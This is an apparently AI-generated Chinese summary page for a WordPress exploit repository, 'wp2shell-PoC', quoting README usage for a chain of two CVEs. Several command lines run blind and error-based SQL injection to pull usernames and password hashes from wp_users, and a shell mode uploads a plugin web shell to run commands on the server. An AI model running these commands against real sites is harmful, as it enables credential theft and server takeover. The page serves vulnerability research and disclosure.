gichirimaku/wp2shell-PoC

选用指南

AI 根据 README 整理 · 2026/10/19 00:31:18

使用方式

通过命令行使用，运行 wp2shell.py 并指定目标 URL 即可进行漏洞检查，支持多种模式如数据读取和命令执行。

查看 README 依据

**To use this PoC, the only requirement is Python 3.8+.** Run it from the repository directory to perform a vulnerability check: ```bash wp2shell.py http://victim.com ``` ### Check Mode (default) Performs a single vulnerability check. Sends a benign batch marker probe that detects the route confusion bug without executing SQLi payloads. A vulnerable target returns HTTP 207 with the error pattern `parse_path_failed`, `block_cannot_read`, and `rest_batch_not_allowed`.

**Force blind technique** ```bash wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1" ``` **Extract with error-based technique** ```bash wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1" ``` ### Shell Mode Executes commands on the target server. Works in two modes: With credentials (logs in as existing admin and uploads plugin shell): **Execute specific command** ```bash wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id ```

部署要求

使用此 PoC 的唯一要求是 Python 3.8 或更高版本。

查看 README 依据

**To use this PoC, the only requirement is Python 3.8+.** Run it from the repository directory to perform a vulnerability check: ```bash wp2shell.py http://victim.com ``` ### Check Mode (default) Performs a single vulnerability check. Sends a benign batch marker probe that detects the route confusion bug without executing SQLi payloads. A vulnerable target returns HTTP 207 with the error pattern `parse_path_failed`, `block_cannot_read`, and `rest_batch_not_allowed`.

已知限制

该工具仅用于教育或漏洞赏金目的，严禁在受控环境之外未经授权使用。

查看 README 依据

# wp2shell-PoC > **⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.** ## Overview Proof-of-concept for the wp2shell vulnerability chain affecting WordPress Core, combining CVE-2026-63030 and CVE-2026-60137. The project demonstrates the interaction between the REST API Batch route confusion vulnerability and a WP_Query SQL injection, resulting in an unauthenticated path to full WordPress compromise and remote code execution (RCE). **Read the full advisory [here](https://wp2shell.com/)**